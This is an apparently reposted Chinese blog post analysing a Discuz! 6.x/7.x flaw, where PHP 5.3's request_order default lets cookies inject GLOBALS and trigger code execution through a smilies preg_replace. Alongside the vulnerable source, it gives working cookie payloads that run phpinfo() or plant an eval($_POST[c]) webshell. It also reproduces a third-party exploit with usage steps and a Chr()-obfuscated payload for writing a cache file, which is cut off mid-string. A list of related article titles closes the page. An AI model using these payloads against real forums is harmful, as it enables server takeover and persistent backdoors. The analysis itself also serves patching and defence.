漏洞概述:

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。

漏洞分析:

include/global.func.php代码里:

1
2
3
4
5
6
7
8
9
10
11
12
13

function daddslashes($string, $force = 0) {
    !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = addslashes($string);
        }
    }
    return $string;
}

include/common.inc.php里:

1
2
3
4
5

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value);
    }
}

模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少:(

不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:

1
2
3

if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
    exit('Request tainting attempted.');
}

这样就没法提交GLOBALS变量了么?

$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)

漏洞利用

include/discuzcode.func.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

function discuzcode($message, $smileyoff, $bbcodeoff, $htmlon = 0, $allowsmilies = 1, $allowbbcode = 1, $allowimgcode =
1, $allowhtml = 0, $jammer = 0, $parsetype = '0', $authorid = '0', $allowmediacode = '0', $pid = 0) {
global $discuzcodes, $credits, $tid, $discuz_uid, $highlight, $maxsmilies, $db, $tablepre, $hideattach, $allowat
tachurl;
if($parsetype != 1 && !$bbcodeoff && $allowbbcode && (strpos($message, '[/code]') || strpos($message, '[/CODE]')
) !== FALSE) {
$message = preg_replace("/\s?\[code\](.+?)\[\/code\]\s?/ies", "codedisp('\\1')", $message);
}
$msglower = strtolower($message);
//$htmlon = $htmlon && $allowhtml ? 1 : 0;
if(!$htmlon) {
$message = $jammer ? preg_replace("/\r\n|\n|\r/e", "jammer()", dhtmlspecialchars($message)) : dhtmlspeci
alchars($message);
}
if(!$smileyoff && $allowsmilies && !empty($GLOBALS['_DCACHE']['smilies']) && is_array($GLOBALS['_DCACHE']['smili
es'])) {
if(!$discuzcodes['smiliesreplaced']) {
foreach($GLOBALS['_DCACHE']['smilies']['replacearray'] AS $key => $smiley) {
$GLOBALS['_DCACHE']['smilies']['replacearray'][$key] = '<img src="data:images/smilies/'.$GLOB
ALS['_DCACHE']['smileytypes'][$GLOBALS['_DCACHE']['smilies']['typearray'][$key]]['directory'].'/'.$smiley.'" smilieid="'
.$key.'" border="0" alt="" />';
}
$discuzcodes['smiliesreplaced'] = 1;
}
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['r
eplacearray'], $message, $maxsmilies);
}

注意到:
$message = preg_replace($GLOBALS[‘_DCACHE’][‘smilies’][‘searcharray’], $GLOBALS[‘_DCACHE’][‘smilies’][‘replacearray’], $message, $maxsmilies);
请求中Cookie带

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
即可执行phpinfo。
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;
即一句话木马。

此后门漏洞十分隐蔽,不容易发现。

利用条件:

1.discuz 6.x / 7.x

2.request_order默认值为GP

K8飞刀的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

===============================================================================================================================================================
Discuz 6.x/7.x 代码执行漏洞触发条件:
1 URL连接中的帖子或评论必须带有表情(没有自己去回复)
2 php>5.3.x 且 request_order值为GP (默认值为GP)
3 后台--帖子内容页---最大单一表情解析次数: 为0
4 第2次提交Cookie,若没成功,请在浏览框里右键刷新
默认EXP: forumdata/cache/admingroups.php
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(102).Chr(111).Chr(114).Chr(117).Chr(109).Chr(100).Chr(97).Chr(116).Chr(97).Chr(92).Chr(99).Chr(97).Chr(99).Chr(104).Chr(101).Chr(92).Chr(97).Chr(100).Chr(109).Chr(105).Chr(110).Chr(103).Chr(114).Chr(111).Chr(117).Chr(112).Chr(115).Chr(46).Chr(

转载于:https://www.cnblogs.com/dongchi/p/4156394.html

Discuz! 6.x/7.x 全局变量防御绕过导致命令执行相关推荐

  1. [ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2018-16509

  2. SQL注入10之防御绕过

    免责声明 该文章仅用于信息防御技术的交流和学习,请勿用于其他用途: 在未得到网站授权前提下,禁止对政府.事业单位.企业或其他单位网站及系统进行渗透测试:技术是把双刃剑,请遵纪守法,做一名合格的白帽子安 ...

  3. 利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令

    YiYang · 2016/05/20 15:55 0x00 前言 在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统 ...

  4. DVWA系列之10 命令执行漏洞的挖掘与防御

    通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数. EscapeShellCmd()函数可以把一个字符串中所有可能瞒过 ...

  5. php ld preload,利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令

    0x00 前言 在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统命令的尴尬,因为这类服务器针对命令执行函数做了防范措 ...

  6. [网络安全自学篇] 九十五.利用XAMPP任意命令执行提升权限(CVE-2020-11107)及防御措施

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了木马病毒提权技术,包括进程访问令牌权限提升和Bypass UAC.这篇文章 ...

  7. war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...

    概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...

  8. 记录CTF命令执行练习中遇到的几道题(一些PHP命令过滤的绕过方法)

    题目1 if (isset($_GET["Command"]) && $_GET["Command"]) {$command = $_GET[& ...

  9. bulldog-1靶机 write up 源码 MD5解密得到密码到后台 命令执行绕过 反弹shell string分析文件得到密码提权

    bulldog-1靶机 write up 0x00 环境搭建 0x01 信息收集 0x02 漏洞挖掘 web漏洞思路 ssh 利用思路 步骤一:浏览网页 爆破目录 步骤二: 破解hash 步骤三:利用 ...

  10. Discuz! - 6.1 ~ 7.0 - 安装SupeSite后导致安全漏洞

    Discuz! - 6.1 ~ 7.0 - 安装SupeSite后导致安全漏洞 涉及安全漏洞的版本 Discuz! 6.1 Discuz! 7.0 SupeSite 6.0 X-Space 4.0 U ...

最新文章

  1. Li Fei-fei写给她学生的一封信,如何做好研究以及写好PAPER
  2. servlet、genericservlet、httpservlet之间的区别
  3. oracle轮询方式循环输出,LGWR的两种模式(POST/WAIT和POLLING)
  4. javascript第三天(2)
  5. 软件工程之个人项目--词频统计
  6. ecs服务器数据迁移_某国际物流集团的云迁移解决方案
  7. 读取txt原理_Mysql客户端任意文件读取学习
  8. celery-01-异步任务模块-解决发送邮件的延时问题
  9. php include_once 路径,php使用include加密路径的方法介绍
  10. 【NLP之情感分析】华为云NLP算法专家:全面解读文本情感分析任务
  11. 用VS Code写 Python / Groovy / Kotlin
  12. 对象 替换_JVM 对象分配过程
  13. 整车开发过程通用英文缩写
  14. 笔试遇到的rgba转16进制,但透明度不需要加到里面
  15. bmi055六轴传感器获取数据
  16. Win11文件资源管理器有明显卡顿,微软承诺在2022年提高性能
  17. [JZOJ5551] 【NOI2019模拟6.24】旅途【最短路】
  18. [BUAA OO Unit 2 HW8] 第二单元总结
  19. 场景建模都用到哪些三维软件,入门学习选择3DsMax还是Maya
  20. 音频的相关基础知识,这里有

热门文章

  1. 愤怒的小鸟有PC版本了!
  2. 单细胞测序之scater包数据分析教程复现
  3. 三色旗问题中的快排应用
  4. .ul>li 和 .ul li的区别
  5. BNUOJ 52506 Captcha Cracker
  6. Python实现PDF合并工具(含源码)
  7. 华为机试od社招刷题攻略-目录
  8. DMAc-MPM cas:1870041-76-1,齐岳提供
  9. 云原生的进一步具象化
  10. Nvivo使用步骤记录